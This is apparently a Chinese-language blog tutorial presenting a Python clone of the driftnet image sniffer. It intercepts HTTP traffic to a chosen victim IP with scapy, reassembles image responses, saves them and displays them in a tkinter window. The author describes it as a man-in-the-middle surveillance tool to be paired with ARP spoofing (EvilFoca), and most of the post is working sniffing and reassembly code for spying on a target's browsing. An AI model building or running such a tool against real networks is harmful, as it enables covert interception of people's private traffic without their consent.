python實現圖片嗅探工具——自編driftnet
前言
想必嘗試過中間人攻擊(MITM)的小夥伴,大概率是知道driftnet的。這是一款簡單使用的圖片捕獲工具,可以很方便的從網絡數據包中抓取圖片,從而將監聽對象所瀏覽的圖片盡收眼底。
苦於driftnet對windows的支持不是特別友好,而且近日閒來沒事,於是我決定用python寫一個簡單的圖片嗅探工具。
哐哐哐~搞定之後,效果還是不錯的:
簡單設置過後,開始監聽:
注意:本工具不具有arp欺騙的功能,因此需要結合arp欺騙相應工具使用(如EvilFoca)
一、數據包嗅探
數據的嗅探採用的是scapy庫的sniff模塊,一句話便能搞定:
# 嗅探函數
def dosniff(filter_rule,sniff_time,prn_f):
sniff(filter=filter_rule,timeout=sniff_time,prn=prn_f) # 監聽數據包
其中prn參數是一個回調函數,即每抓取到一個數據包之後將執行這個函數,而這也是捕獲數據包中圖片的關鍵,具體實現,客官您望下看~
二、圖片捕獲
這裏需要明確的是,在圖片的傳輸過程中,往往一個TCP包的長度是不夠的,所以一張圖片往往分爲很多個包。因此,爲了捕獲其中的圖片,我們必須對圖片數據進行識別,並將對應的數據包合併(相同的ack值)。
具體思路如下:
- 找到有上網數據的數據包
if p.haslayer(Raw): # 找出有上網數據的
- 判斷是否爲含有圖片的HTTP響應
if 'Content-Type: image' in str(load): # 如果爲圖片響應
xxxxx # 提取HTTP協議中的相關信息(圖片長度、圖片後綴、IP地址、以及部分圖片二進制數據)
else:
xxxxx # 判斷是否爲圖片數據的某一部分,如果是則將數據添加進去
3、把圖片數據合併並生成圖片
for i in img_list[ack][1:]:
img += i
if len(img) == length: # 如果圖片數據已經完整
imgname = '%d.%s'%(N,img_map[postfix])
with open('./images/%s/%s'%(target,imgname),'wb') as f:
f.write(img)
完整的回調函數:
# 處理數據包
def handlepacket(p):
global N,img_list,imgvalue_list,img_map
if p.haslayer(Raw): # 找出有上網數據的
load = p.load
ack = p.ack
try:
## 如果爲圖片相應,且帶有HTTP頭(即第一個圖片TCP包)
if 'Content-Type: image' in str(load): # 如果爲圖片響應
postfix = re.findall('image/(.*?)\\\\r',str(load))[0] # 圖片後綴
length = int(re.findall('Content-Length: (.*?)\\\\r',str(load))[0]) # 圖片數據長度
ip_src = p['IP'].src # 源頭IP
ip_dst = p['IP'].dst # 目的IP
img_list[ack] = [(postfix,length,ip_src,ip_dst)] # 0爲圖片信息(以下爲圖片二進制數據)
img_load=load[load.find(b'\x0d\x0a\x0d\x0a')+4:] # 去除請求頭部分,只要圖片數據
img_list[ack].append(img_load)
## 如果爲某圖片的後續數據包
elif ack in list(img_list.keys()):
img_load = load # 所有load均爲圖片數據
img_list[ack].append(img_load)
img = bytes()
postfix = img_list[ack][0][0] # 圖片後綴
length = img_list[ack][0][1] # 圖片長度
ip_src = img_list[ack][0][2] # 源頭IP
ip_dst = img_list[ack][0][3] # 目的IP
for i in img_list[ack][1:]:
img += i
if len(img) == length: # 如果圖片數據已經完整
imgname = '%d.%s'%(N,img_map[postfix])
with open('./images/%s/%s'%(target,imgname),'wb') as f:
f.write(img)
img = Image.open(BytesIO(img))
img = resize(200,200,img)
img_tk = ImageTk.PhotoImage(img)
imgvalue_list.append(img_tk)
Label(frame,image=imgvalue_list[-1],bg='black').grid(row=(N-1)//4,column=(N-1)%4,padx=23,pady=3)
canvas.create_window((ww/2,math.ceil(N/4)*105), window=frame) #create_window
canvas['scrollregion'] = (0,0,ww,math.ceil(N/4)*210)
canvas.yview_moveto(1)
print('%s【driftnet】: saving image data as "%s"'%(time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()),imgname))
N += 1
except:
pass
三、圖片顯示及主函數
爲了將捕獲的圖片顯示出來,我採用tkinter庫,具體如下:
# 主函數
if __name__ == '__main__':
printinfo()
target = ''
sniff_time = 24*60*60
while True:
choice = input('\n請選擇:')
if choice not in ['1','2','3','4','5']:
print(colored('>>>選擇錯誤,請重新輸入!','red'))
time.sleep(1)
printinfo()
else:
if choice == '1':
scan()
if choice == '2':
target = input('>>>監聽目標(對方IP地址):')
print('監聽目標設置成功!')
time.sleep(1)
printinfo()
if choice == '3':
sniff_time = input('>>>監聽時間(默認爲86400秒):')
sniff_time = int(sniff_time)
print('監聽時間設置成功!')
time.sleep(1)
printinfo()
if choice == '4':
if target == '':
print(colored('監聽目標未設置!','red'))
time.sleep(1)
printinfo()
else:
print('監聽目標爲"%s" 監聽時間爲"%s秒"'%(colored(target,'green'),colored(sniff_time,'green')))
op = input('是否開始(Y/N)?')
if not (op == 'Y' or op == 'y'):
printinfo()
continue
# 創建GUI
## 初始化全局變量
N = 1 # 圖片編號
img_list = {} # 圖片字典,用於存儲圖片信息,以及對應數據包
imgvalue_list = [] # 圖片數據,用於在畫布上顯示(防止由於局部變量等原因丟失變量)
## 相關參數
bgcolor = 'black'
## 創建root窗口(1000x630)
root = Tk()
root.title('driftnet') # 設置標題
root.iconbitmap('logo.ico')
root.config(bg=bgcolor)
sw = root.winfo_screenwidth() # 屏幕寬度
sh = root.winfo_screenheight() # 屏幕高度
ww = 1000 # 窗口寬度
wh = 630 # 窗口高度
x = (sw-ww)/2 # 窗口橫座標
y = (sh-wh)/2 # 窗口縱座標
root.geometry('%dx%d+%d+%d' %(ww,wh,x,y))
root.resizable(width=False, height=False) # 窗口大小無法更改
## 創建畫布canvas
canvas=Canvas(root,width=ww,height=wh) #創建canvas
canvas.grid()
## 創建frame窗口
frame = tk.Frame(canvas)
frame.grid()
## 滾動條
vbar=Scrollbar(root,orient=VERTICAL) #豎直滾動條
vbar.place(x=ww-20,y=0,width=20,height=wh)
vbar.configure(command=canvas.yview)
canvas.config(yscrollcommand=vbar.set) #設置
# 嗅探數據
if not os.path.exists('./images'):
os.mkdir('./images')
if not os.path.exists('./images/%s'%target):
os.mkdir('./images/%s'%target)
filter_rule = "tcp src port 80 and dst host {}".format(target) # 過濾規則
print('開始嗅探.....')
t = threading.Thread(target=dosniff,args=(filter_rule,sniff_time,handlepacket,))
t.start()
# 進入消息循環
root.mainloop()
# 關閉嗅探線程
stop_thread(t)
#input() # 處理stop_thread多餘的輸出流
printinfo()
if choice == '5':
print('Good bye!')
exit(0)
這裏遇到的坑主要是滾動條自動下滑的問題(即當我們不斷捕獲到圖片的時候,如果讓界面將所有圖片顯示出來,並且滾動條始終保持在最小面)。
寫在最後
代碼些許有些混亂,主要是想跟小夥伴們分享下一些思路,也希望可以有所幫助或啓發:
- 如何從數據包中捕獲圖片數據
- Tkinter如何實現滾動條自動下滑
最後,感謝各位大大的耐心閱讀~
慢着,大俠請留步… 動起可愛的雙手,來個贊再走唄 (๑◕ܫ←๑)